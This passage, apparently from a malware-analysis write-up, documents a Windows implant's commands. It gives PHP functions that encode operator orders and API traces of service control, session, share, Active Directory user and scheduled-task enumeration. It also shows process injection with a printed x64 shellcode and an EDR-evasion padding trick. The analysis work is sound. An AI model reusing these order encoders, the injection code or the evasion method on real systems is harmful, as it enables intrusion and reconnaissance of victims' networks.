[PAR] IUnknown** pAppDomain : 0x0000001E6091EDD0
[RET] [0x1e6030d182]
III. Result
I unfortunatly always get an error 0x80070002 (file not found) when reaching the CreateDomain Call, not sure why :
[CNT] [735]
[PTP] [0x478] [0x838] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000001E5E5326F0
[STR] -> "9999"
[STR] "80070002"
[PAR] DWORD cbBinary : 0x1a
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0000001E5E4FAB30
[PAR] DWORD* pcchString : 0x0000001E6091EC5C
[RET] [0x1e6030e028]
StartService
function StartService($MachineName, $ServiceName)
{
$cmd_id = "\x56\x34 $MachineName $ServiceName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x410] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000C96B1E3C60
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+QuHESPwfZxLiwC6kHD5hsnoJYG0KtuqZac7/JBB0"
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000C96B1EED40
[PAR] DWORD *pcbBinary : 0x000000C96D09EB0C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0xc96cffbea1]
II. Execution
[CNT] [337]
[PTP] [0x410] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <OpenSCManagerA> in [ADVAPI32.dll]
[PAR] LPCSTR lpMachineName : 0x0 (null)
[PAR] LPCSTR lpDatabaseName : 0x000000C96D0188F4
[STR] -> "ServicesActive"
[PAR] DWORD dwDesiredAccess : 0xf003f (SC_MANAGER_ALL_ACCESS)
[RET] [0xc96d00dcc5]
[CNT] [338]
[PTP] [0x410] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <OpenServiceW> in [ADVAPI32.dll]
[PAR] SC_HANDLE hSCManager : 0x6b201bd0
[PAR] LPCWSTR lpServiceName : 0x000000C96B1F02D0
[STR] -> "evil"
[PAR] DWORD dwDesiredAccess : 0xf01ff (SERVICE_ALL_ACCESS)
[RET] [0xc96d00dcf3]
[CNT] [339]
[PTP] [0x410] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <StartServiceA> in [ADVAPI32.dll]
[PAR] SC_HANDLE hService : 0x000000C96B202140
[PAR] DWORD dwNumServiceArgs : 0x0
[PAR] LPCTSTR* lpServiceArgVectors : 0x0
[RET] [0xc96d00dd09]
III. Result
[CNT] [349]
[PTP] [0x410] [0x81c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000C96B1EFE10
[STR] -> "9999"
[STR] "2"
[PAR] DWORD cbBinary : 0xc
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000C96B201A50
[PAR] DWORD* pcchString : 0x000000C96D09E8DC
[RET] [0xc96cffe028]
NetSessionEnum
function NetSessionEnum($ServerName)
{
$cmd_id = "\x8E\xB9 $ServerName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [361]
[PTP] [0x7d0] [0xb30] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000227DD51170
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+fvn+SPwfZxLiwC6kHD5hsh9udygI3A=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000227DD5B230
[PAR] DWORD *pcbBinary : 0x000000227FC7E9AC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x227fbdbea1]
II. Execution
[CNT] [405]
[PTP] [0x7d0] [0xb30] [c:\windows\system32\rundll32.exe]
[API] <NetSessionEnum> in [srvcli.dll]
[PAR] LMSTR servername : 0x000000227DD600A0
[STR] -> "localhost"
[PAR] LMSTR UncClientName : 0x0 (null)
[PAR] LMSTR username : 0x0 (null)
[PAR] DWORD level : 10
[PAR] LPBYTE *bufptr : 0x000000227FC7E8B8
[PAR] DWORD prefmaxlen : 0xffffffff
[PAR] LPDWORD entriesread : 0x000000227FC7E89C
[PAR] LPDWORD totalentries : 0x000000227FC7E8A0
[PAR] LPDWORD resume_handle : 0x000000227FC7E8A4
[RET] [0x227fbe9826]
III. Result
[CNT] [416]
[PTP] [0x7d0] [0xb30] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000227DD7E060
[STR] -> "8EB9"
[STR] "localhost"
[STR] "\\[::1] user 0 0"
[PAR] DWORD cbBinary : 0x40
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x000000227DD68120
[PAR] DWORD* pcchString : 0x000000227FC7E7BC
[RET] [0x227fbde028]
IDirectorySearch
updated : 11/04/2025
// ex: IDirectorySearch("mylab.local", "(&(objectClass=user)), "samAccountName");
function IDirectorySearch($HostName, $SearchFilter, $AttributeNames)
{
$cmd_id = "\x79\x75 $HostName $SearchFilter $AttributeNames";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [421]
[PTP] [0xa70] [0x938] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x000000985AD278E0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+cdPASPwAMgviwB++HEoW6GoZQTggosTLJ9z0IikeL8OJFxDNjvJPIrKuVNmoIpzAPK0E4YW+dM8MGrjoFrDxQ7s6ar4="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x000000985AD1FE10
[PAR] DWORD *pcbBinary : 0x000000985CCDE8EC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x985cc3bea1]
II. Execution
[CNT] [472]
[PTP] [0xa70] [0x91c] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeEx> in [combase.dll]
[RET] [0x985cc342cd]
[CNT] [473]
[PTP] [0xa70] [0x91c] [c:\windows\system32\rundll32.exe]
[API] <ADsOpenObject> in [activeds.dll]
[PAR] LPCWSTR lpszPathName : 0x000000985AD3E090
[STR] -> "LDAP://mylab.local"
[PAR] LPCWSTR lpszUserName : 0x0 (null)
[PAR] LPCWSTR lpszPassword : 0x0 (null)
[PAR] DWORD dwReserved : 0x1
[PAR] REFIID riid : 0x000000985CC57C70 (IID_IDirectorySearch)
[FLD] -> iid = ({109BA8EC-92F0-11D0-A79000C04FD8D5A8})
[PAR] void** ppObject : 0x000000985D25F050
[RET] [0x985cc34659]
[CNT] [475]
[PTP] [0xa70] [0x91c] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::SetSearchPreference> in [adsldp.dll]
[PAR] PADS_SEARCHPREF_INFO pSearchPrefs : 0x000000985D25EF60
[PAR] DWORD dwNumPrefs : 0x1
[FLD] -> dwSearchPref = 0x5 (ADS_SEARCHPREF_SEARCH_SCOPE)
[FLD] -> vValue
[FLD] -> dwType = 0x7 (ADSTYPE_INTEGER)
[FLD] -> dwStatus = 0x5ad8e9a0
[RET] [0x985cc37e9c]
[CNT] [476]
[PTP] [0xa70] [0x91c] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::ExecuteSearch> in [adsldp.dll]
[PAR] LPWSTR pszSearchFilter : 0x000000985AD40048
[STR] -> "(&(objectClass=user))"
[PAR] LPWSTR* pAttributeNames : 0x000000985AD40020
[STR] -> pAttributeNames[0] = "samAccountName"
[PAR] DWORD dwNumberAttributes : 0x1
[PAR] PADS_SEARCH_HANDLE phSearchResult : 0x000000985D25EF58
[RET] [0x985cc37eda]
[CNT] [477]
[PTP] [0xa70] [0x91c] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::GetFirstRow> in [adsldp.dll]
[PAR] ADS_SEARCH_HANDLE hSearchResult : 0x000000985AD8FFE0
[RET] [0x985cc37ef9]
[CNT] [749]
[PTP] [0xb40] [0xbdc] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::GetNextColumnName> in [adsldp.dll]
[PAR] ADS_SEARCH_HANDLE hSearchHandle : 0x0000006EBD98DDB0
[PAR] LPWSTR* ppszColumnName : 0x0000006EBF9CEFB0
[RET] [0x6ebf897f68]
[CNT] [750]
[PTP] [0xb40] [0xbdc] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::GetColumn> in [adsldp.dll]
[PAR] ADS_SEARCH_HANDLE hSearchResult : 0x0000006EBD98DDB0
[PAR] LPWSTR szColumnName : 0x0000006EBD985810
[STR] -> "sAMAccountName"
[PAR] PADS_SEARCH_COLUMN pSearchColumn : 0x0000006EBF9CEFE8
[RET] [0x6ebf897f8b]
[CNT] [755]
[PTP] [0xb40] [0xbdc] [c:\windows\system32\rundll32.exe]
[API] <IDirectorySearch::FreeColumn> in [adsldp.dll]
[PAR] PADS_SEARCH_COLUMN pSearchColumn : 0x0000006EBF9CEFE8
[RET] [0x6ebf897fb5]
[CNT] [756]
[PTP] [0xb40] [0xbdc] [c:\windows\system32\rundll32.exe]
[API] <CoTaskMemFree> in [combase.dll]
[RET] [0x6ebf897fc3]
[...]
III. Result
7975
sAMAccountName Administrateur|
7975
sAMAccountName Invit=E9|
7975
sAMAccountName MYDC$|
7975
sAMAccountName krbtgt|
7975
sAMAccountName eglantine|
7975
sAMAccountName PC-8-1$|
7975
sAMAccountName admin|
NetUserModalsGet
// ex: NetUserModalsGet("localhost");
function NetUserModalsGet($ServerName)
{
$cmd_id = "\x9a\xb9 $ServerName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0xb2c] [0xb70] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000002599684690
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+efn+SPwfZxLiwC6kHD5hsh9udygI3A=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000002599689DD0
[PAR] DWORD *pcbBinary : 0x000000259B56ECDC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x259b4cbea1]
II. Execution
[CNT] [366]
[PTP] [0xb2c] [0xb70] [c:\windows\system32\rundll32.exe]
[API] <NetUserModalsGet> in [SAMCLI.DLL]
[PAR] LMSTR servername : 0x0000002599690150
[STR] -> "localhost"
[PAR] DWORD level : 0
[PAR] LPBYTE* bufptr : 0x000000259B56EBF8
[RET] [0x259b4d56a8]
III. Result
[CNT] [450]
[PTP] [0xb2c] [0xb70] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x000000259968AD00
[STR] -> "9AB9"
[STR] "localhost"
[STR] "AA 0"
[STR] "AB 42"
[STR] "AC 0"
[STR] "AD 4294967295"
[STR] "AE 0"
[STR] "BA 30"
[STR] "BB 30"
[STR] "BC 0"
[PAR] DWORD cbBinary : 0x86
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000025996A3B30
[PAR] DWORD* pcchString : 0x000000259B56EB1C
[RET] [0x259b4ce028]
GetScheduledTask
/*
$p1 : servername
$p2 = 'full' (optional)
$p3 = unknown (optional)
*/
// ex: GetScheduledTask("localhost");
function GetScheduledTask($serverName)
{
$cmd_id = "\x9a\xb6 $serverName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [429]
[PTP] [0x830] [0x9f4] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000047E83C94D0
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+efnMSPwfZxLiwC6kHD5hsg=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000047E83DADB0
[PAR] DWORD *pcbBinary : 0x00000047EA3DE65C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x47ea33bea1]
II. Execution
[CNT] [459]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <CoInitializeEx> in [combase.dll]
[RET] [0x47ea34c890]
[CNT] [462]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <CoCreateInstance> in [combase.dll]
[PAR] REFCLSID *clsid : 0x00000047EA357BA0 ({0F87369F-A4E5-4CFC-BD3E-73E6154572DD})
[PAR] LPUNKNOWN pUnkOuter : 0x0
[PAR] DWORD dwClsContext : 0x1
[PAR] REFIID riid : 0x00000047EA357BF0 (ITaskService)
[PAR] LPVOID *ppv : 0x00000047EA95F0C0
[RET] [0x47ea34c8b9]
[CNT] [480]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskService::Connect> in [taskschd.dll]
[PAR] VARIANT serverName : 0x00000047EA95F0A0
[FLD] -> serverName = NULL
[PAR] VARIANT user : 0x00000047EA95F080
[FLD] -> user = NULL
[PAR] VARIANT domain : 0x00000047EA95F060
[FLD] -> domain = NULL
[PAR] VARIANT password : 0x00000047EA95F040
[FLD] -> password = NULL
[RET] [0x47ea34c973]
[CNT] [482]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskService::GetFolder> in [taskschd.dll]
[PAR] BSTR path : 0x00000047E83CE188
[STR] -> "\"
[PAR] ITaskFolder **ppFolder : 0x00000047EA95F0C8
[RET] [0x47ea34c9a0]
[CNT] [483]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskFolder::GetFolders> in [taskschd.dll]
[PAR] LONG flags : 0x0
[PAR] ITaskFolderCollection** ppFolders : 0x00000047EA95ED78
[RET] [0x47ea34c36a]
[CNT] [484]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskFolderCollection::Invoke> in [taskschd.dll]
[PAR] DISPID dispIdMember : 0xea95ed6c
[PAR] REFIID riid : 0x0
[PAR] LCID lcid : 0x44c337e0
[PAR] WORD wFlags : 0x4
[RET] [0x47ea34c385]
[CNT] [485]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskFolderCollection::get_Count> in [taskschd.dll]
[PAR] LONG *pCount : 0x00000047EA95ED40
[RET] [0x47ea34c3d7]
[...]
[CNT] [494]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <ITaskFolder::GetTasks> in [taskschd.dll]
[PAR] LONG flags : 0x1
[PAR] IRegisteredTaskCollection** ppTasks : 0x00000047EA95E440
[RET] [0x47ea34c417]
[CNT] [495]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTaskCollection::get_Count> in [taskschd.dll]
[PAR] LONG *pCount : 0x00000047EA95E43C
[RET] [0x47ea34c43f]
[CNT] [496]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTaskCollection::get_Item> in [taskschd.dll]
[PAR] VARIANT index : 0x00000047EA95E410
[FLD] -> vUlong = 0x1
[PAR] IRegisteredTask** ppRegisteredTask : 0x00000047EA95E460
[RET] [0x47ea34c4a2]
[CNT] [497]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::get_Name> in [taskschd.dll]
[PAR] BSTR* pName 0x00000047EA95E468
[RET] [0x47ea34c4d4]
[CNT] [514]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::get_Path> in [taskschd.dll]
[PAR] BSTR *pPath : 0x00000047EA95E380
[RET] [0x47ea3499ff]
[CNT] [520]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::get_Enabled> in [taskschd.dll]
[PAR] VARIANT_BOOL *pEnabled : 0x00000047EA95E37A
[RET] [0x47ea349a62]
[CNT] [527]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::get_LastRunTime> in [taskschd.dll]
[PAR] DATE* pLastRunTime 0x00000047EA95E390
[RET] [0x47ea349ac8]
[CNT] [534]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::GetSecurityDescriptor> in [taskschd.dll]
[RET] [0x47ea349b42]
[CNT] [541]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::get_State> in [taskschd.dll]
[PAR] TASK_STATE* pState : 0x00000047EA95E37C
[RET] [0x47ea349bb6]
[CNT] [550]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <IRegisteredTask::Release> in [taskschd.dll]
[RET] [0x47ea34c621]
[...]
III. Result
[CNT] [552]
[PTP] [0x830] [0xa9c] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x00000047E83F6E70
[STR] -> "9AB6"
[STR] "AB 1|AA .NET Framework NGEN v4.0.30319|AC \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319|AD -1|AE 24/0"
[STR] "3/2025 02:46:56|AF 00:00:00|BA 3|"
[PAR] DWORD cbBinary : 0x13c
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x00000047E83F6FC0
[PAR] DWORD* pcchString : 0x00000047EA95E34C
[RET] [0x47ea33e028]
netshareenumlist
So, this function is basically the same as “netshareenum” except it expects as a parameter a list of server names separated by a ‘\n’ instead of a single server name
// ex : netshareenumlist("home\nlocalhost", 1);
function netshareenum2($servernames)
{
$servernames_b64 = base64_encode($servernames);
$cmd_id = "\xb3\x29 $servernames_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [429]
[PTP] [0x9c0] [0x5bc] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000001892FEBB40
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Z/L+SMcNPU3f0SaZHUVh634lAzAyivnLIYPzKSYdUc70BSnSjvw="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000001892FD27A0
[PAR] DWORD *pcbBinary : 0x0000001894EBE95C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x1894e1bea1]
II. Execution
[CNT] [500]
[PTP] [0x9c0] [0x958] [c:\windows\system32\rundll32.exe]
[API] <NetShareEnum> in [srvcli.dll]
[PAR] LMSTR servername : 0x000000189542F0E8
[STR] -> "home"
[PAR] DWORD level : 501
[PAR] LPBYTE* bufptr : 0x000000189542EF48
[PAR] DWORD prefmaxlen : 0xffffffff
[PAR] LPDWORD entriesread : 0x000000189542EF2C
[PAR] LPDWORD totalentries : 0x000000189542EF30
[PAR] LPDWORD resume_handle : 0x000000189542EF34
[RET] [0x1894e1f028]
[...]
[CNT] [521]
[PTP] [0x9c0] [0x958] [c:\windows\system32\rundll32.exe]
[API] <NetShareEnum> in [srvcli.dll]
[PAR] LMSTR servername : 0x000000189542F0E8
[STR] -> "localhost"
[PAR] DWORD level : 501
[PAR] LPBYTE* bufptr : 0x000000189542EF48
[PAR] DWORD prefmaxlen : 0xffffffff
[PAR] LPDWORD entriesread : 0x000000189542EF2C
[PAR] LPDWORD totalentries : 0x000000189542EF30
[PAR] LPDWORD resume_handle : 0x000000189542EF34
[RET] [0x1894e1f028]
III. Result
[CNT] [525]
[PTP] [0x9c0] [0x958] [c:\windows\system32\rundll32.exe]
[API] <CryptBinaryToStringW> in [crypt32.dll]
[PAR] BYTE* pbBinary : 0x0000001892FB6720
[STR] -> "5349"
[STR] "localhost"
[STR] "AB"
[STR] "ADMIN$|Administration à distance"
[STR] "C$|Partage par défaut"
[STR] "IPC$|IPC distant"
[PAR] DWORD cbBinary : 0xb4
[PAR] DWORD dwFlags : 0x40000001 (CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64)
[PAR] LPWSTR pszString : 0x0000001892FCF3C0
[PAR] DWORD* pcchString : 0x000000189542EE2C
[RET] [0x1894e1e028]
InjectProcessShellcode
This command trigger a shellcode injection in a remote process, in the example below I used a simple x64 calc.exe shellcode, credit to : senzee1984
I targeted an already running calc.exe process to make it spawn, through the shellcode injection, another calc.exe
Another detail maybe worth mentioning :
In this example, the memory allocated in the remote process starts @ 0x000000BCF7320000, the shellcode @ 0x000000BCF7320014.
The reason for this 0x14 byte shift is that the first 0x14 bytes are randomly generated characters.
This is very likely to defeat some specific EDR that would try to detect or emulate valid assembly instructions on memory allocated with PAGE_EXECUTE rights.
function InjectProcessShellcode($pid)
{
$buf = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d";
$buf = $buf . "\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01";
$buf = $buf . "\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01";
$buf = $buf . "\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31";
$buf = $buf . "\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45";
$buf = $buf . "\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b";
$buf = $buf . "\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31";
$buf = $buf . "\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2";
$buf = $buf . "\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
$payload_b64 = base64_encode($buf);
$cmd_id = "\xa9\xe4 $pid $payload_b64";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [359]
[PTP] [0x5e4] [0x218] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x0000004176008250
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+Ze7ESNMiH0n1/hSfLEhH1mQiYC8/p9vQFIXSIz55J6mNFQSVoKpuXbOjYvCqMb39JNQf8LOtfPEHYMuDOZvHQbdcCeYKbVqZ"
[STR] "wVx/6UtpqX+JWH9QKkhY3VEMOYjb6cBwku9dnVOK+jjPh8GWRSUdl99RmhEHmWPIAEhSzIojQchP710Xrc9Np7x6mGLrz2E+F8WruhvPwmHYr37CxKihK7IE"
[STR] "byeHDt+pkqljLukryQomrJ/dj+8cBnmAIEZyyLyCpa+sJK0pBm/LC8uU8M4QdIDOIfrtgcHS8lf70K3MJR016JdYm4JmxbOE1acz8oJ3XW8WHF+A7uF66O6G"
[STR] "p5QzYSarXu84eeo487K7f2hG/fgGnsrApnraUPyzhEEfXHQ+vut9eqVNcL3KbgT6odBXi9sa9uXuVw6684sSXJBjVwdYiA=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x0000004175FFFE70
[PAR] DWORD *pcbBinary : 0x0000004177E8EB9C
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x4177debea1]
II. Execution
[CNT] [387]
[PTP] [0x5e4] [0x9c8] [c:\windows\system32\rundll32.exe]
[/!\] [ Attempt to bypass hooked API detected ! ]
[API] <NtOpenProcess> in [ntdll.dll]
[PAR] PHANDLE ProcessHandle : 0x00000041783FF0C0
[PAR] ACCESS_MASK DesiredAccess : 0x2a (PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE)
[PAR] POBJECT_ATTRIBUTES ObjectAttributes : 0x00000041783FF120
[PAR] PCLIENT_ID ClientId : 0x00000041783FF0C8
[FLD] -> UniqueProcess = 0xbf0
[FLD] -> UniqueThread = 0x0
[RET] [0x4177e04aab]
[CNT] [388]
[PTP] [0x5e4] [0x9c8] [c:\windows\system32\rundll32.exe]
[API] <VirtualAllocEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x2c8
[PAR] LPVOID lpAddress : 0x0
[PAR] SIZE_T dwSize : 0xbe
[PAR] DWORD flProtect : 0x4 (PAGE_READWRITE)
[RET] [0x4177dd6395]
[CNT] [389]
[PTP] [0x5e4] [0x9c8] [c:\windows\system32\rundll32.exe]
[API] <WriteProcessMemory> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x2c8
[PAR] LPVOID lpBaseAddress : 0x000000BCF7320000
[PAR] LPCVOID lpBuffer : 0x0000004175FFDDD0
[PAR] SIZE_T nSize : 0xbd
[RET] [0x4177dd63bd]
[CNT] [390]
[PTP] [0x5e4] [0x9c8] [c:\windows\system32\rundll32.exe]
[API] <VirtualProtectEx> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x2c8
[PAR] LPVOID lpAddress : 0x000000BCF7320000
[PAR] SIZE_T dwSize : 0xbe
[PAR] DWORD flNewProtect : 0x20 (PAGE_EXECUTE_READ)
[RET] [0x4177dd63e4]
[CNT] [411]
[PTP] [0x5e4] [0x9c8] [c:\windows\system32\rundll32.exe]
[API] <CreateRemoteThread> in [KERNEL32.DLL]
[PAR] HANDLE hProcess : 0x2c8
[PAR] LPSECURITY_ATTRIBUTES lpThreadAttributes : 0x0
[PAR] SIZE_T dwStackSize : 0x100000
[PAR] LPTHREAD_START_ROUTINE lpStartAddress : 0x000000BCF7320014
[PAR] LPVOID lpParameter : 0x0
[PAR] DWORD dwCreationFlags : 0x0
[PAR] LPDWORD lpThreadId : 0x00000041783FE994
[RET] [0x4177dd5e93]
III. Result
[CNT] [420]
[PTP] [0xbf0] [0x858] [c:\windows\system32\calc.exe]
[API] <WinExec> in [KERNEL32.DLL]
[PAR] LPCSTR lpCmdLine : 0x000000BCF742F778
[STR] -> "calc.exe"
[RET] [0xbcf73200bd]
WtsEnumProcessA
// ex: WtsEnumProcessA("localhost");
function WtsEnumProcessA($RDServerName)
{
$cmd_id = "\xf3\xd8 $RDServerName";
$cmd_id_b64 = base64_encode($cmd_id);
return $cmd_id_b64;
}
I. Fetching the order
[CNT] [327]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <CryptStringToBinaryA> in [crypt32.dll]
[PAR] LPCTSTR pszString : 0x00000001001B2900
[STR] -> "vJ7S4O4DWydoZDlAiZKGGsy+LLLySPwfZxLiwC6kHD5hsh9udygI3A=="
[PAR] DWORD cchString : 0x0
[PAR] DWORD dwFlags : 0x1 (CRYPT_STRING_BASE64)
[PAR] BYTE *pbBinary : 0x00000001001B73A0
[PAR] DWORD *pcbBinary : 0x000000010218ECDC
[PAR] DWORD *pdwSkip : 0x0
[PAR] DWORD *pdwFlags : 0x0
[RET] [0x10203bea1]
II. Execution
[CNT] [350]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <WTSOpenServerA> in [wtsapi32.dll]
[PAR] LPSTR pServerName : 0x00000001001BE040
[STR] -> "localhost"
[RET] [0x10204809f]
[CNT] [351]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <WTSEnumerateProcessesA> in [wtsapi32.dll]
[PAR] HANDLE hServer : 0x0000000100596200
[PAR] DWORD Reserved : 0x0
[PAR] DWORD Version : 0x1
[PAR] PWTS_PROCESS_INFOA* ppProcessInfo : 0x000000010218E7D8
[PAR] DWORD* pCount : 0x000000010218E7BC
[RET] [0x1020480c8]
[CNT] [366]
[PTP] [0x60c] [0x5b0] [c:\windows\system32\rundll32.exe]
[API] <LookupAccountSidW> in [ADVAPI32.dll]
[PAR] LPCWSTR lpSystemName : 0x0 (null)
[PAR] PSID lpSid : 0x0
[PAR] LPTSTR lpName : 0x000000010218E7E0
[PAR] LPDWORD cchName : 0x000000010218E7C0
[PAR] LPTSTR lpReferencedDomainName : 0x000000010218E9E8
[PAR] LPDWORD cchReferencedDomainName : 0x000000010218E7C0
[PAR] PSID_NAME_USE peUse : 0x000000010218E7C4
